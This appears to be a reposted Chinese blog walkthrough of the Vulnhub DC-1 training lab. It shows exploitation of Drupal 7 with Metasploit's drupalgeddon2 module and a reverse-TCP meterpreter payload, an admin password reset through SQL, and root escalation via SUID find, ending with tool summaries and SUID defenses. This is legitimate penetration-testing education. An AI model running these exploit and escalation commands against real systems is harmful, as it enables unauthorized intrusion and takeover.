渗透测试综合靶场 DC-1 通关详解

news2024/12/23 1:47:39

Vulnhub是一个提供各种漏洞环境的靶场平台,非常适合安全爱好者和渗透测试初学者进行学习和实践。在这个平台上,你可以下载多种虚拟机,这些虚拟机预装了各种漏洞,让你可以在本地环境中进行渗透测试、提权、漏洞利用和代码审计等操作。

官网:https://www.vulnhub.com

从今天起,我们将逐步开启Vulnhub靶机通关练习。

======================================

目录

一、准备阶段

1.1 靶机描述 

二、靶场渗透

2.1 信息收集

2.1.1 寻找靶机真实IP

2.1.2 查看开启端口

2.2 漏洞利用

2.2.1 msf查找漏洞

2.2.2 payload利用

2.3 获得shell

2.3.1 获取shell

2.3.2 数据库操作

2.4 SUID提权

2.4.1 登录网站

2.4.2 用户密码查看

2.4.3 提权

2.4.4 查看最终的root目录

三、总结

3.1 使用的命令和工具

3.1.1 nmap

3.1.2 arp-scan

3.1.3 nikto

3.1.4 MSF

3.1.5 SUID提权


一、准备阶段

准备工具如Kali Linux,下载并设置DC-1靶场机。确保攻击机和靶机在同一网络段,通常设置为桥接模式或NAT模式。

1.1 靶机描述 
DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.
It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.
To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.
There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.
There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.
Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.
Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.
DC-1 是一个故意构建的有漏洞的实验室,目的是为了在渗透测试领域获得经验。它被设计成对初学者来说是一个挑战,但具体有多容易将取决于你的技能和知识,以及你的学习能力。

为了成功完成这个挑战,你将需要 Linux 技能、熟悉 Linux 命令行,以及使用基本渗透测试工具的经验,比如在 Kali Linux 或 Parrot Security OS 上可以找到的工具。

有多种方法可以获得 root 权限,然而,我已经包含了一些包含线索的标志,以帮助初学者。

总共有五个标志,但最终目标是在 root 用户的主目录中找到并读取标志。你甚至不需要是 root 用户就能完成这个任务,但你将需要 root 权限。

根据你的技能水平,你可能能够跳过寻找大多数这些标志,直接追求 root 权限。

初学者可能会遇到他们以前从未遇到过的挑战,但谷歌搜索应该足以获得完成这个挑战所需的信息。

在官网下载DC-1后,我们会得到一个 .ova 格式的文件,这是虚拟机压缩文件,直接导入VM打开即可。

DC-1开启后,我们看到如下页面,此时,我们并不知道密码,或者说,此时我们对DC-1基本上是一无所知。为数不多知道的信息是:DC-1的网段,因为DC-1和kali我都将网络设置为了NAT模式,所以他们也应该处于同一网段。

二、靶场渗透

DC1靶场渗透的步骤和逻辑通常包括以下几个阶段:

  • 环境搭建:准备工具如Kali Linux,下载并设置DC-1靶场机。确保攻击机和靶机在同一网络段,通常设置为桥接模式。
  • 信息收集:使用工具如nmap、arp-scan或netdiscover来探测目标IP地址,探测目标IP开放的端口,以及网页信息收集。例如,使用nmap -sV -p- 192.168.120.128来探测开放端口。
  • 漏洞查找与利用:根据收集到的信息,如CMS类型(例如Drupal),查找相关的漏洞。使用工具如Metasploit(msfconsole)来利用这些漏洞。
  • Getshell:通过漏洞利用获取对靶机的访问权限,可能包括获取普通shell和交互shell。
  • 数据库渗透:尝试登录数据库,使用找到的数据库凭据。
  • 用户密码爆破:如果必要,对用户密码进行爆破。
  • Linux提权:尝试提升权限,例如使用SUID提权。

在正式开启渗透之前,我们来了解一下DC-1的背景:DC-1靶场是一个为渗透测试初学者设计的练习环境,它包含了多个知识点,其中Drupal 7漏洞利用和find提权是两个重点。

  1. Drupal 7 漏洞利用:Drupal是一个开源的内容管理系统,它在7.x版本中存在多个已知的漏洞,这些漏洞可以被利用来获取对系统的访问权限。在DC-1靶场中,利用Drupal的漏洞是获取初始访问权限的一种方式。例如,可以通过Metasploit中的模块exploit/unix/webapp/drupal_drupalgeddon2来利用Drupal的远程代码执行漏洞,从而获取一个shell。这个过程中,攻击者需要熟悉如何使用Metasploit框架,以及如何配置和执行漏洞利用模块。
  2. find 提权:在Linux系统中,SUID(Set User ID upon execution)位允许某些程序以其他用户的安全权限运行。在DC-1靶场中,find命令具有SUID权限,可以被用来提权。攻击者可以利用具有SUID权限的find命令来执行提权操作,例如使用命令find / -perm -u=s -type f 2>/dev/null来查找所有具有SUID权限的文件,然后使用find ./ -exec '/bin/sh' \;来获取一个root shell。

这两个知识点是DC-1靶场中的关键挑战,它们不仅测试了渗透测试者对已知漏洞的利用能力,还测试了他们对Linux系统提权技术的理解。通过这些练习,渗透测试者可以提高他们的技能,学习如何在实际环境中识别和利用安全漏洞。

2.1 信息收集

信息收集是渗透攻击的前置步骤,使用工具如nmap、arp-scan或netdiscover来探测目标IP地址,探测目标IP开放的端口,以及网页信息收集。例如,使用nmap -sV -p- 等命令来探测开放端口。

根据收集到的信息,我们才能进一步实施攻击。如CMS类型(例如Drupal),查找相关的漏洞。使用工具如Metasploit(msfconsole)来利用这些漏洞。

2.1.1 寻找靶机真实IP

首先,我们先来探测靶机的真实IP,我们先来看一下kali的ip地址

知道了kali的IP,我们就知道了DC-1的网段。因为他们都是NAT模式,应该处于同一网段,所以我们现在开看一下这个网段下的所有主机,通过排除法推测靶机的ip地址

据此推测,靶机的IP应该是172.16.130.138。使用arp扫描也是同样的结果

nmaparp-scan 是两个常用的网络扫描工具,它们都可以用来探测网络上的设备,但它们在工作原理和使用场景上有所不同。

  • nmap -sP:适用于跨越多个子网或在不知道目标网络MAC地址的情况下进行主机发现。它可以用来检测目标网络中的活动主机,无论它们是否响应ARP请求。
  • arp-scan -l:通常用于检测与扫描设备在同一局域网(LAN)内的设备。它不会跨越路由器或交换机,因此只适用于本地网络
2.1.2 查看开启端口

得到了靶机IP后,我们来进一步探测查看靶机开启了什么端口。一旦识别出运行在目标系统上的服务,安全专家可以进一步检查这些服务的版本和配置,以确定是否存在已知漏洞或弱点,这些信息对于渗透测试和漏洞评估至关重要。

例如,我们使用nmap来探测目标IP的开放端口,你可以直接使用 nmap -A ,这个命令可以启用许多扫描选项,版本扫描,脚本扫描等(但容易出现一些问题,崩溃等)。我这里选择使用另一条简单一点的nmap命令

可以看到,开放的端口有22、80和不知道是干什么的111等。22端口可以使用爆破、ssh远程连接,80端口可以登录web网页

我们来试着访问一下靶机的IP地址,可以看到如下页面

我们看到Drupal Site基本上就有思路了

国外三大开源php CMS

drupal 【无专用扫描器,但是msf内置了模块】

wordpress 【有专用扫描器】

joomla 【有专用扫描器】

而上面我们也说过,Drupal是存在漏洞的,我们可以根据此来下手,寻找漏洞进行爆破

我们回到终端使用nikto看一下版本


可以看到,Drupal的版本是7.x,对于此版本,msf有一些现成的模块我们可以尝试试试。

2.2 漏洞利用
2.2.1 msf查找漏洞

"MSF"通常指的是Metasploit Framework,这是一个著名的开源渗透测试框架,由Rapid7开发和维护。Metasploit Framework提供了一系列工具,使安全研究人员和渗透测试人员能够识别、利用和验证软件漏洞。首先,我们进入msf。

msfconsole

查找相应模块

search Drupa

可以看到,Drupa中有许许多多的漏洞,使用相应模块,咱也都试了下,发现 exploit/unix/webapp/drupal_drupalgeddon2 这个里面可以

选择查看payload有什么

show payloads

在这里,我们发现了php/meterpreter/reverse_tcp ,这是 Metasploit 框架中的一个 payload 类型,它结合了 PHP 脚本语言和 Metasploit 的 Meterpreter 会话管理工具,用于在目标机器上执行远程代码并建立一个交互式的反向 TCP 连接。

那么我们现在,就来使用这个漏洞进行攻击。

2.2.2 payload利用

使用payload使用set命令

set payload php/meterpreter/reverse_tcp

查看需要配置的参数

show options

yes的地方是必须填写的,默认基本上帮我们填好了。我们只需要填写靶机的IP也就是填写RHOSTS

set rhosts [靶机IP]

使用exploit启动


可以看到session的建立

2.3 获得shell
2.3.1 获取shell

现在,我们可以来查看DC-1的基本信息了

使用ls查看一下现在的信息,现在我们已经可以看到一个flag1.txt文件了


每个好的CMS都需要一个配置文件——你也不例外。这提示我们要去找网站的配置文件


我们按照它给我们提示,区配置文件中寻找,果然在这里找到了flags2

Brute force and dictionary attacks aren't the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
暴力破解和字典攻击并不是获取访问权限的唯一方式(而且你确实需要访问权限)。
拥有这些凭据后,你能做些什么?

再往下翻还有数据库的账号密码。通过这些信息我们大概可以猜到他的意思:暴力破解指的是前面80端口的登录框,他告诉我们没办法巴黎破解登录,我们需要进行提权操作。

2.3.2 数据库操作

既然前面给了我们数据库账号密码以及数据库名字,那我们现在来尝试登录一下:用户名是dbuser,密码是R0ck3t

首先我们需要先进入shell,确认一下端口,看看数据库开了没,可以看到3306端口开启,没有问题

这个时候需要注意,不能直接msf进入,因为msf是从web服务打进去的,而HTTP是瞬时协议,需要让python来做一个中介。如果不这样做,会显示找不到mysql命令

交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者
python -c 'import pty; pty.spawn("/bin/bash")'

进入到数据库后,我们查看一下库

我们进入到drupaldb库中,查看库中的表。


可以看到,库中有一个users表,有关用户密码等信息很可能存储在此表中

查看表中内容,果不其然,我们在这里找到了admin的密码(经过加密后的),我们可以使用解密工具(如cmd5等网站)进行破解,破解后我们得到密码为Please log in !


这样,我们就得到了管理员的登录名与登陆密码。当然,有时破解root密码的密文并不容易,我们也可以尝试覆盖root的密码,例如,我们可以先退出数据库,生成一个密码,明文为123456

php scripts/password-hash.sh 123456

重新进入数据库,更新密码

update users set pass=“你加密后的密码” where uid=1;

注意:你需要先切到你要更新密码的库中再执行更新操作,否则计算机不知道你到底要更改谁的密码

现在,root有了新的账户密码——admin:123456

2.4 SUID提权
2.4.1 登录网站

更新密码完成后,我们再回到当初的网站,输入账号密码成功登录。在网页中随便逛逛,发现flag3


Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
特殊的权限将有助于找到密码文件,但你需要执行那个命令来弄清楚如何获取shadow文件中的内容。
2.4.2 用户密码查看

根据提示passwd,我们可以想到/etc/passwd,使用cat查看一下用户文件,果然在其中发现了flag4,根据他给的路径找到flag4文件夹,里面有flag4.txt文件,但是当我们想要cat查看文件时候,他告诉我们权限不够。


2.4.3 提权

既然权限不够,那我们就进行提权:首先试试SUID提权。

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)

可以看到,find就在其中,那么就比较简单了,我们直接使用find提权

find / -exec “/bin/bash” -p \;

再次使用cat查看,成功拿下flag4

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

你可以用相同的方法来查找或访问root目录中的flag吗?

可能可以。但也许并没那么容易。或者也许确实很简单?
2.4.4 查看最终的root目录

根据提示我们进入到/root,查看其目录下的文件


至此,DC-1的五个flag全部拿下,实验结束。

三、总结
3.1 使用的命令和工具
3.1.1 nmap

我们收集信息的第一步首先用到了nmap来探测IP和开放端口。

nmap(网络映射器)是一款开源的网络扫描和安全审计工具,它可以用来发现网络上的设备,检测开放的端口,确定运行在网络设备上的服务及其版本信息,以及检测潜在的安全漏洞。

常用nmap命令: 

1.主机发现:

  • nmap -sn 目标IP地址:快速扫描目标网络,仅用于主机发现,不扫描端口。
  • nmap -sn 目标IP地址/24:扫描整个C类子网。

2.端口扫描:

  • nmap 目标IP地址:扫描目标IP地址上的常见端口。
  • nmap -p 端口号 目标IP地址:扫描特定端口。
  • nmap -p- 目标IP地址:扫描所有端口(1-65535)

3.服务和版本检测:

  • nmap -sV 目标IP地址:检测开放端口的服务及其版本。

4.脚本扫描:

  • nmap -sV --script=脚本ID 目标IP地址:使用Nmap Scripting Engine (NSE) 执行特定脚本。

5.操作系统检测:

  • nmap -O 目标IP地址:尝试识别目标主机的操作系统。

6.综合扫描:

  • nmap -A 目标IP地址:启用操作系统检测、版本检测、脚本扫描和traceroute。

nmap的作用:

  1. 网络映射:识别网络上的设备和它们之间的连接关系。
  2. 安全审计:检测网络设备上的开放端口和运行的服务,评估潜在的安全风险。
  3. 漏洞评估:通过版本检测和脚本扫描,识别已知漏洞和脆弱性。
  4. 系统识别:确定目标主机的操作系统,为进一步的测试提供信息。
  5. 隐蔽测试:使用隐蔽扫描技术,减少被检测到的可能性。
  6. 防火墙测试:测试防火墙规则的有效性,识别可能的绕过技术。
  7. 文档记录:记录网络扫描结果,为网络管理和安全分析提供数据。
3.1.2 arp-scan

arp-scan 是一个用于发送 ARP 请求以识别本地网络中活动主机的工具。它通常用于网络发现和主机发现阶段,尤其是在进行网络扫描和安全审计时。arp-scan 利用 ARP 协议的特点,可以快速地发现同一局域网(LAN)内的所有设备。

常用arp-scan命令:

1.基本扫描:

  • arp-scan --localnet:扫描本地网络中的所有设备。
  • arp-scan 192.168.1.0/24:扫描指定子网内的所有设备。

2.指定接口:

  • arp-scan -I eth0 192.168.1.0/24:使用特定的网络接口(例如 eth0)来扫描指定子网。

3.快速扫描:

  • arp-scan -f -l:快速扫描本地网络并显示结果。

arp-scan的作用:

  1. 网络发现:快速识别同一局域网内的活动设备。
  2. 设备识别:获取设备的 MAC 地址和 IP 地址。
  3. 网络映射:帮助绘制网络拓扑图,了解网络结构。
  4. 安全审计:在渗透测试中用于识别目标网络中的所有潜在攻击面。
  5. 故障排除:用于网络故障诊断,识别网络中的冲突或问题设备。
  6. 监控:监控网络中的设备变化,如新设备加入或设备离线。
3.1.3 nikto

Nikto 是一个开源的 web 服务器扫描工具,它用于对 web 服务器进行安全审计,以检测潜在的安全问题。Nikto 可以检查 web 服务器上的文件、程序、服务器配置等,以查找已知的漏洞、不安全的文件、默认文件、错误配置等。

常用Nikto命令:

1.基本扫描:

  • nikto -host target_url:对指定的 URL 进行扫描。

2.使用SSL/TLS扫描:

  • nikto -host https://target_url:对 HTTPS 服务的 URL 进行扫描。

3.输出结果:

  • nikto -output scan_output.txt -host target_url:将扫描结果保存到指定的文本文件中。

4.指定端口:

  • nikto -port 8080 -host target_url:对指定端口上的 web 服务器进行扫描。

Nikto的作用:

  1. 安全审计:帮助 web 管理员和安全专家识别 web 应用程序中的安全漏洞。
  2. 漏洞检测:检查 web 服务器是否容易受到已知漏洞的攻击。
  3. 配置评估:评估 web 服务器的配置是否符合安全最佳实践。
  4. 合规性检查:确保 web 应用程序符合特定的安全标准和法规要求。
  5. 错误配置识别:发现服务器配置中的错误,如不当的 HTTP 响应头设置。
  6. 敏感文件检查:查找 web 服务器上不应公开的敏感文件和目录。
  7. 信息收集:收集 web 服务器的相关信息,如服务器类型、操作系统、应用程序版本等。
3.1.4 MSF

Metasploit Framework 的主要特点:

  1. 漏洞库:包含数千个已知漏洞的数据库,这些漏洞覆盖了各种操作系统、应用程序和服务。
  2. 模块化架构:允许用户根据需要加载和使用不同的模块,如漏洞利用模块、payload模块、辅助工具模块等。
  3. Meterpreter:一个高级的、可交互的payload,提供了对被攻击系统的隐蔽控制和复杂的后渗透操作。
  4. 自动化扫描:能够自动化地扫描目标系统,识别潜在的漏洞。
  5. 多平台支持:可以在Windows、Linux、macOS等多种操作系统上运行。
  6. 更新频繁:拥有活跃的开发社区,不断添加新的漏洞和工具。
  7. 集成开发环境:提供了一个集成的开发环境,用于创建和测试新的漏洞利用代码。
  8. 多语言支持:支持多种编程语言,如Ruby、Python等,方便开发者编写和集成自定义脚本。

常用命令和概念:

  • msfconsole:启动 Metasploit 命令行界面。
  • search:搜索特定的漏洞、payload或辅助工具。
  • use:选择一个特定的模块,如漏洞利用或payload。
  • show options:显示当前模块的配置选项和要求。
  • set:设置模块选项,如目标IP(RHOSTS)、端口(RPORT)等。
  • exploit:执行漏洞利用。
  • payload:定义在成功利用漏洞后执行的代码,如获取反向shell。
  • encoders:用于加密payload,以绕过入侵检测系统。
  • nop:填充字节,用于绕过某些安全检查。
  • exploit/multi/handler:用于监听并处理传入的连接,通常与payload配合使用
3.1.5 SUID提权

在类Unix操作系统中,SUID(Set User ID upon execution)是一种特殊的文件权限,允许用户执行程序时暂时获得程序所有者的权限。这个特性常被用于那些需要较高权限才能正常运行的程序,例如某些系统管理工具。

SUID 提权的原理:

当一个文件被设置为SUID时,任何用户执行该文件都会以该文件所有者的权限来运行。例如,如果一个属于root的文件被设置了SUID权限,那么任何用户执行这个文件都会以root用户的权限来运行,直到程序执行结束

SUID 提权的利用:

在渗透测试中,如果攻击者发现系统中存在被设置为SUID的可执行文件,他们可能会尝试利用这个文件来提升权限。以下是一些常见的SUID提权技巧:

  • 利用已知漏洞:如果SUID文件是一个有已知漏洞的程序,攻击者可能会利用这些漏洞来执行任意代码。
  • 利用竞争条件(Race Conditions):攻击者可能会尝试在程序创建或修改文件的瞬间,替换或篡改这些文件,以执行恶意代码。
  • 利用脚本中的缺陷:如果SUID程序是通过解释器(如Python、Perl、Ruby)运行的脚本,攻击者可能会修改环境变量或脚本内容,使得解释器执行恶意代码。
  • 利用程序逻辑错误:有些程序可能在逻辑上存在缺陷,允许用户以提升的权限执行某些操作

SUID 提权的防御:

  • 最小权限原则:仅将SUID权限赋予真正需要的程序。
  • 定期审计:定期审计系统中的SUID文件,确保它们是安全的,没有已知漏洞。
  • 使用非SUID替代方案:如果可能,使用其他机制(如sudo)来提供必要的权限,而不是依赖SUID。
  • 限制SUID程序的执行环境:例如,限制环境变量,确保它们不会被恶意修改。
  • 监控和日志记录:监控SUID程序的执行,并记录相关日志,以便在发生安全事件时进行调查

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2145251.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

9.18日常记录

一.信号和槽机制 信号和槽:是对象之间通信的一种机制 信号classA不关心有多少槽函数与之绑定,它只管触发信号,具体要触发哪些槽函数,是由Qt的信号和槽机制来实现的。这样的话就充分的体现了面向对象的解耦原则了,因为对于classA来…

上线跨境电商商城的步骤

上线一个跨境电商商城涉及多个步骤,从前期准备到上线后的维护。以下是一些关键步骤: 1. 市场调研与规划 目标市场分析:研究目标市场的需求、竞争对手和消费者行为。法律法规:了解并遵守目标市场的法律法规,包括税收、…

生产环境必备:Docker 搭建 Nexus 全流程与批量上传 Jar 包实战

目录 1.创建docker-compose文件 2.域名代理无域名需求可跳过 2.1创建nginx的compose (映射端口更具实例进行改进) 2.2创建nginx.conf 3.访问nexus 4.创建储存库以及批量上传jar包 4.1批量上传jar包 4.2创建两个sh脚本 4.3执行脚本 4.4成功验证 …

bug的处理流程是什么?一文教你快速学会bug的处理流程

一、Bug的属性 1、Bug重现环境 这个应该是我们重现bug的一个前提,如果没有这个前提,我们可能会无法重现问题,或者跟本就无从下手。 2、操作系统 这个是一般软件运行的一大前提,基本上所有的软件都依赖于操作系统之上的&#x…

中、美、德、日制造业理念差异

合格的产品依赖稳定可靠的人机料法环,要求减少变量因素,增加稳定因素,避免“熵”增;五个因素中任何一个不可控,批次产品的一致性绝对差; 日本汽车企业,侧重“人”和“环”, 倚重是人…

点工干了三年,快要废了。。。

8年前刚进入到IT行业,到现在学习软件测试的人越来越多,所以在这我想结合自己的一些看法给大家提一些建议。 最近聊到软件测试的行业内卷,越来越多的转行和大学生进入测试行业,导致软件测试已经饱和了,想要获得更好的待…

Android RecyclerView 缓存机制深度解析与面试题

本文首发于公众号“AntDream”,欢迎微信搜索“AntDream”或扫描文章底部二维码关注,和我一起每天进步一点点 引言 RecyclerView 是 Android 开发中用于展示列表和网格的强大组件。它通过高效的缓存机制,优化了滑动性能和内存使用。本文将深入…

nginx进阶篇(二)

文章目录 概图一、 Nginx服务器基础配置实例二、Nginx服务操作的问题三、Nginx配置成系统服务四、Nginx命令配置到系统环境五、Nginx静态资源部署5.1 Nginx静态资源概述5.2 Nginx静态资源的配置指令5.2.1. listen指令5.2.2. server_name指令配置方式匹配执行顺序 5.2.3 locatio…

Linux--守护进程与会话

进程组 概念 进程组就是一个或多个进程的集合。 一个进程组可以包含多个进程。 下面我们通过一句简单的命令行来展示: 为什么会有进程组? 批量操作:进程组允许将多个进程组织在一起,形成一个逻辑上的整体。当需要对多个进程…

js 3个事件监听器 EventListeners

起因, 目的: 我有2个显示器。 某视频网站,我想一边播放视频,一边搞其他。但是,当我把鼠标移动到浏览器外面,点击一下别处, 视频就会自动暂停. 这个叫做 事件监听! blur, 在元素或窗口失去焦点…

I/O流(Java)

目录 1. IO概述 1.1 什么是IO 1.2 IO的分类 1.3 IO的流向说明图解 1.4 顶级父类 2. File类 2.1 概述 2.2 构造方法 2.3 常用方法 2.3.1 获取功能的方法 2.3.2 绝对路径和相对路径 2.3.3 判断功能的方法 2.3.4 创建删除功能的方法 2.3.5 目录的遍历 3. 字节流 3…

【C++ Primer Plus习题】16.7

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站&#xff0c;通俗易懂&#xff0c;风趣幽默&#xff0c;忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: #include <iostream> #include <vector> #include <…

2024CCPC网络赛

vp链接&#xff1a;Dashboard - The 2024 CCPC Online Contest - Codeforces B. 军训 II 序列 a 从小到大排列或者从大到小排列时&#xff0c;不整齐度是最小的。方案数是所有相同数字的个数的排列数的乘积。如果首尾的数字不同的话&#xff0c;还要再乘个 2。 #include <…

高级大数据开发协会

知识星球——高级大数据开发协会 协会内容: 教你参与开源项目提供新技术学习指导提供工作遇到的疑难问题技术支持参与大数据开源软件源码提升优化以互利共赢为原则&#xff0c;推动大数据技术发展探讨大数据职业发展和规划共享企业实际工作经验 感兴趣的私聊我&#xff0c;…

2022年十九届中国研究生数学建模竞赛C题——优秀论文分析

● 引言&#xff1a;因为最近要参加研究生数学建模竞赛了&#xff08;第二十一届&#xff09;&#xff0c;学习和分析一下优秀的数模论文的&#xff1a;思路、写作。 虽然我说是 “优秀论文分析”&#xff0c;但其实更多是 “搬运” 哈哈哈… ✅ NLP 研 1 选手的学习笔记 笔者…

springboot+screw反向生成数据库说明文档

前言 最近公司人员结构调整&#xff0c;被迫接受一位资深老哥哥的活&#xff0c;他也是悲催&#xff0c;太老实了&#xff0c;默默的干活老黄牛&#xff0c;不会叫。又没有山头&#xff0c;直接领导组长也是不给力。哎&#xff0c;哪里都有江湖&#xff0c;愿我码农儿女都能被善…

Android Studio Menu制作

文章目录 一、创建菜单在Activity上新建onCreateOptionsMenu新建menu目录及资源文件新建Menu一级菜单在Activity上加载Menu测试效果 二、菜单点击事件 一、创建菜单 在Activity上新建onCreateOptionsMenu Overridepublic boolean onCreateOptionsMenu(Menu menu) {return supe…

数据结构-3.链表

前言 本篇博客给大家带来的是链表的知识点, 其中包括面试经常会提问的真题 ArrayList 和 LinkedList 的区别 . 文章专栏: Java-数据结构 若有问题 评论区见 欢迎大家点赞 评论 收藏 分享 如果你不知道分享给谁,那就分享给薯条, 如果分享不成功, 那我就会回你一下,那样你就分享成…

Mysql调优之性能监控(一)

前言&#xff1a; 官网就是最好的老师&#xff1a;MySQL&#xff0c;里面各种语法跟参数跟性能调试工具 一、使用show profile查询剖析工具 -- 开启 SET profiling 1; -- 关闭 SET profiling 0; -- 显示查询的性能分析信息 show profiles; -- 显示具体查询id的执行步骤耗时 S…

免费好用的ppt素材库有哪些?这2个在线网站值得推荐!

ppt素材去哪找&#xff1f; 对于很多做PPT的人来说&#xff0c;做PPT的过程中&#xff0c;不是在找素材&#xff0c;就是在去找ppt素材的路上&#xff0c;想寻找到与内容相匹配的ppt素材&#xff0c;往往占用了大量的时间&#xff0c;且ppt和ppt素材库本身是分离的&#xff0c…